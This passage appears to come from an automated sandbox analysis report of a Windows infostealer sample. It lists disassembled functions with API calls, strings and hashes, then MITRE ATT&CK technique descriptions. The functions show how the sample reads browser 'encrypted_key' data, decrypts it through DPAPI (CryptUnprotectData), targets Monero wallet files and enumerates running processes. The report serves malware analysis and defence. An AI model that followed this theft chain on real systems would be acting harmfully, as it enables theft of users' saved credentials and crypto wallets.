moz-extension+++, xrefs: 0047F5AD
^userContextId=4294967295, xrefs: 0047F59C

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0fe98b07042afb4ccaa4003a806a8e696d95eaa03fee0abd71459caafd61d7b9
Instruction ID: b617e1b448a33af3d705ea1fff4bf05e7be2a582f18b625ba2eb1e18ae1b044c
Opcode Fuzzy Hash: 0fe98b07042afb4ccaa4003a806a8e696d95eaa03fee0abd71459caafd61d7b9
Instruction Fuzzy Hash: 76513375D00108AAEB04FBA5DC92DED7338AF54304F50892FF41667191EE7C6A19CBBA

Function 004870D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sH, xrefs: 00487111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0048718C
sH, xrefs: 004872AE, 00487179, 0048717C

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sH$sH$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4088985431
Opcode ID: 012c403b5a071571e999b0e421351aec39b5a2d3457c9e8fc3baa29eb5784769
Instruction ID: 4efd463455bf8b31d1b8a87607ffb6ed76c4e8c659e5258606c73d189f96f40f
Opcode Fuzzy Hash: 012c403b5a071571e999b0e421351aec39b5a2d3457c9e8fc3baa29eb5784769
Instruction Fuzzy Hash: CF5182B0D042189FDB14FB91DC95BEEB774AF54304F2044AEE11576281EB786E88CF59

Function 00483560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c5ea2d586dec96a9d9d2ebd23dbf6aad3bc5cfdc2ffd4a66f4ac56b77362f4e3
Instruction ID: c2714fdc39730bc4dbcb0156ca53f870721a3e0327c8ff253b04ebd95bfec0cd
Opcode Fuzzy Hash: c5ea2d586dec96a9d9d2ebd23dbf6aad3bc5cfdc2ffd4a66f4ac56b77362f4e3
Instruction Fuzzy Hash: AF4161B1D10108AFDB04FFE5C845AEE7774AF04704F10881AE41576250EB78AA06CBAA

Function 00479CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 004799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
Part of subcall function 004799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
Part of subcall function 004799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
Part of subcall function 004799C0: ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
Part of subcall function 004799C0: LocalFree.KERNEL32(0047148F), ref: 00479A90
Part of subcall function 004799C0: CloseHandle.KERNEL32(000000FF), ref: 00479A9A

Part of subcall function 00488E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00488E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00479D39

Part of subcall function 00479AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479AEF
Part of subcall function 00479AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00474EEE,00000000,?), ref: 00479B01
Part of subcall function 00479AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479B2A
Part of subcall function 00479AC0: LocalFree.KERNEL32(?,?,?,?,00474EEE,00000000,?), ref: 00479B3F

Part of subcall function 00479B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00479B84
Part of subcall function 00479B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00479BA3
Part of subcall function 00479B60: LocalFree.KERNEL32(?), ref: 00479BD3

Strings

DPAPI, xrefs: 00479D89
, xrefs: 00479DC1
"encrypted_key":", xrefs: 00479D30

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: febfa2a222d6935049fc205dc9ff99beea5168b9d3a94249d809a41107d788ec
Instruction ID: 9a56156c59f7ce3621b648b6aaa923063c3f9bbd114c39dfb98c4c29c54189c0
Opcode Fuzzy Hash: febfa2a222d6935049fc205dc9ff99beea5168b9d3a94249d809a41107d788ec
Instruction Fuzzy Hash: 133132B5D10109ABDF14EBE4DC85AEF77B8AB48304F14855EE905A7241F7389E04CBA5

Function 00488680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004905B7), ref: 004886CA
Process32First.KERNEL32(?,00000128), ref: 004886DE
Process32Next.KERNEL32(?,00000128), ref: 004886F3

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

CloseHandle.KERNEL32(?), ref: 00488761

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 58ca6f04c7cdd08cabe785368bfada83c8c9ad23538071c39ef1ba1a222a176d
Instruction ID: 5b326ae94f1f87f5476b603458752519d7ae1d3ae3efed5bb0860ef219c448df
Opcode Fuzzy Hash: 58ca6f04c7cdd08cabe785368bfada83c8c9ad23538071c39ef1ba1a222a176d
Instruction Fuzzy Hash: BD314F71901118ABDB24FB91CC41FEEB778EB45700F5045AEE109A2190DF786A85CFA5

Function 00487980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00490E00,00000000,?), ref: 004879B0
RtlAllocateHeap.NTDLL(00000000), ref: 004879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00490E00,00000000,?), ref: 004879C4
wsprintfA.USER32 ref: 004879F3

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 375ce6bb59398974f1dd6ed8710d135ea266adbfbbd376e2ddbee4e8ed962dfc
Instruction ID: 7eecb7ee6da5003b60a3bf979ab17e46814547a74611366c9a2e616fea87aa0a
Opcode Fuzzy Hash: 375ce6bb59398974f1dd6ed8710d135ea266adbfbbd376e2ddbee4e8ed962dfc
Instruction Fuzzy Hash: 301127F2904118ABCB14DFC9DD45BBEB7F9FB4CB11F10461AF605A2280E2395940CBB5

Function 0048C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0048C74E

Part of subcall function 0048BF9F: __amsg_exit.LIBCMT ref: 0048BFAF

__getptd.LIBCMT ref: 0048C765
__amsg_exit.LIBCMT ref: 0048C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0048C797

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 16a4fdcfe3093d6c51960b9d639cfed85d4ecb5b961e98e7cb536626ba3dd07b
Instruction ID: f3d18f5d473ed4f3333001d8bf05c5921ec5099271d198795241cd1c59e0bdd3
Opcode Fuzzy Hash: 16a4fdcfe3093d6c51960b9d639cfed85d4ecb5b961e98e7cb536626ba3dd07b
Instruction Fuzzy Hash: 11F06D329042119FD721BBB95887B4E33A0AF00728F20495FF604A62D2DB7C59419FAE

Function 00484F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00488DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00488E0B

lstrcat.KERNEL32(?,00000000), ref: 00484F7A
lstrcat.KERNEL32(?,00491070), ref: 00484F97
lstrcat.KERNEL32(?,01238F70), ref: 00484FAB
lstrcat.KERNEL32(?,00491074), ref: 00484FBD

Part of subcall function 00484910: wsprintfA.USER32 ref: 0048492C
Part of subcall function 00484910: FindFirstFileA.KERNEL32(?,?), ref: 00484943

Part of subcall function 00484910: StrCmpCA.SHLWAPI(?,00490FDC), ref: 00484971
Part of subcall function 00484910: StrCmpCA.SHLWAPI(?,00490FE0), ref: 00484987
Part of subcall function 00484910: FindNextFileA.KERNEL32(000000FF,?), ref: 00484B7D
Part of subcall function 00484910: FindClose.KERNEL32(000000FF), ref: 00484B92

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 29fd3ab160b7b12c7c91759a694fae5c16b6b70a5008afa9100ff35da5909b7f
Instruction ID: a0b9ad99205540e9752abc56d170f53deb8b1724c8429163fc184b54aa626bba
Opcode Fuzzy Hash: 29fd3ab160b7b12c7c91759a694fae5c16b6b70a5008afa9100ff35da5909b7f
Instruction Fuzzy Hash: 1521DDF69002046BCB54F7B0DC46FED337DA794300F40469EB64992191EE7997C88BA6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
